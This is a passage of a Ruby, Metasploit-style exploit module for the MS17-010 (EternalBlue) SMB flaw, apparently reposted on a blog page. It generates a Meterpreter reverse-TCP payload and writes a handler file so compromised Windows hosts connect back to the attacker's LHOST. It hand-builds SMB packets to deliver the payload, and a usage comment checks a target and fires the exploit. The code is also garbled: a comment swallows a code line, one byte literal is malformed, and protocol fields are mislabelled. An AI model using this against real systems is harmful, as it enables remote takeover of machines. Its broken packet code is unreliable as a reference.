  def exploit_method
    datastore['METHOD']
  end

  def generate_payload
    # Generate a reverse Meterpreter payload
    payload = generate_payload_msf('windows/meterpreter/reverse_tcp')

    # Add the payload to the Metasploit Framework
    register_file_for_cleanup(payload)
    register_file_for_cleanup('meterpreter.rc')
    write_file('meterpreter.rc', "use multi/handler\nset PAYLOAD windows/meterpreter/reverse_tcp\nset LHOST #{datastore['LHOST']}\nset LPORT #{datastore['LPORT']}\nset ExitOnSession false\nexploit -j")

    # Return the payload
    payload
  end

  def build_smb_exploit_request(payload)
    # Build the exploit request
    request = ''
    request << "\x00\x00\x00\x90" # length
    request << "\xff\x53\x4d\x42" # SMB header
    request << "\x72\x00\x00\x00" # SMB command: Negotiate Protocol
    request << "\x00\x18\x53\xc8" # NTLMSSP Signature
    request << "\x00\x26" # NTLMSSP Type 1 message
    request << "\x00\x00\x00\x00" # Flags
    request << "\x08\x00\x00\x00" # Negotiate request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # Padding
    request << "\x00\x00" # Byte Count
    request << payload

    # Add transaction header
    transaction = ''
    transaction << "\x10\x00" # TranscationSize
    transaction << "\x00\x00" # TotalDataCount
    transaction << "\x04\x11" # FID
    transaction << "\x00\x00" # PID
    transaction << "\x00\x00" # UID
    transaction << "\x00\x00" # MID
    transaction << request

    # Add tree connect and negotiate protocols
    tree_connect = ''
    tree_connect << "\x00\x00\x00\x4a" # length
    tree_connect << "\xff\x53\x4d\x42" # SMB header
    tree_connect << "\x75\x00\x00\x00" # SMB command: Tree Connect AndX
    tree_connect << "\x00\x00\x00\x00" # NTLMSSP Signature
    tree_connect << "\xff\xfe" # No Authentication
    tree_connect << "\x00\x00" # Flags
    tree_connect << "\x00\x00" # Flags2
    tree_connect << "\x00\x00" # PID High
    tree_connect << "\x00\x00\x00\x00" # Security Features
    tree_connect << "\x00\x00\x00\x00" # Reserved
    tree_connect << "\x00\x00" # Tree ID
    tree_connect << "\xff\xfe" # Null UserID
    tree_connect << "\x00\x00" # Multiplex ID
    tree_connect << "\x4a\x00" # Byte Count
    tree_connect << "\x5c\x5c\x69\x70\x63\x24\x00" # IPC$
    tree_connect << "\x00" # Null byte
    tree_connect << "SMB_COM_NEGOTIATE\xffSMB_COM_SESSION_SETUP_ANDX\xff" # Negotiate protocols

    tree_connect << transaction

    # Return the exploit request
    tree_connect
  end

  def build_eternalblue_exploit_request(payload)
    # Build the exploit request
    request = ''
    request << "\x00\x00\x00\x2c" # length
    request << "\xff\x53\x4d\x42" # SMB header
    request << "\x25\x00\x00\x00" # SMB command: Trans2
    request << "\x00\x00\x00\x00" # NTLMSSP Signature
    request << "\xff\xfe" # No Authentication
    request << "\x00\x00" # Flags
    request << "\x00\x00" # Flags2
    request << "\x00\x00" # PID High
    request << "\x00\x00\x00\x00" # Security Features
    request << "\x00\x00\x00\x00" # Reserved
    request << "\x00\x00\x00\x00" # Tree ID
    request << "\xff\xfe" # Null UserID
    request << "\x00\x00" # Multiplex ID
    request << "\x2c\x00" # Byte Count
    request << "\x00\x00" # Padding
    request << "\x00\x00" # Padding
    request << "\x00\x00" # Padding
    request << "\x00\x00" # Padding
    request << "\x00\x00\x00\x00" # PID
    request << "\x00\x00\x00\x00" # UID
    request << "\x00\x00\x00\x00" # MID
    request << payload

    # Add transaction header
    transaction = ''
    transaction << "\x10\x00" # TranscationSize
    transaction << "\x00\x00" # TotalDataCount
    transaction << "\x04\x11" # FID
    transaction << "\x00\x00" # PID
    transaction << "\x00\x00" # UID
    transaction << "\x00\x00" # MID
    transaction << request

    # Add tree connect and negotiate protocols
    tree_connect = ''
    tree_connect << "\x00\x00\x00\x4a" # length
    tree_connect << "\xff\x53\x4d\x42" # SMB header
    tree_connect << "\x75\x00\x00\x00" # SMB command: Tree Connect AndX
    tree_connect << "\x00\x00\x00\x00" # NTLMSSP Signature
    tree_connect << "\xff\xfe" # No Authentication
    tree_connect << "\x 00\x00" # Flags
    tree_connect << "\x00\x00" # Flags2
    tree_connect << "\x00\x00" # PID High
    tree_connect << "\x00\x00\x00\x00" # Security Features
    tree_connect << "\x00\x00\x00\x00" # Reserved
    tree_connect << "\x00\x00" # Tree ID
    tree_connect << "\xff\xfe" # Null UserID
    tree_connect << "\x00\x00" # Multiplex ID
    tree_connect << "\x4a\x00" # Byte Count
    tree_connect << "\x5c\x5c\x69\x70\x63\x24\x00" # IPC$
    tree_connect << "\x00" # Null byte
    tree_connect << "SMB_COM_NEGOTIATE\xffSMB_COM_SESSION_SETUP_ANDX\xff" # Negotiate protocols
    tree_connect << transaction

    # Return the exploit request
    tree_connect
  end
end

# Usage:
#
# ms17_010 = Ms17_010.new(
#   rhost: '192.168.1.100',
#   rport: 445,
#   lhost: '192.168.1.101',
#   lport: 4444,
#   method: 'auto',
#   waittime: 5,
#   processname: 'cmd.exe',
#   force: true
# )
#
# case ms17_010.check
# when CheckCode::Safe
#   print_error(ms17_010.result)
# when CheckCode::Vulnerable
#   print_good(ms17_010.result)
#   ms17_010.exploit
# else
#   print_error('Unable to determine if target is vulnerable')
#   print_error(ms17_010.result)
# end

Supongo que te gusta

Origin blog.csdn.net/xiao1234oaix/article/details/129915482
Recomendado
Clasificación
Diario
Más
2024-05-16(22)
2024-05-15(5)
2024-05-14(10)
2024-05-13(7)
2024-05-12(22)
2024-05-11(31)
2024-05-10(32)
2024-05-09(31)
2024-05-08(18)
2024-05-07(35)

Code World

© 2018 codetd.com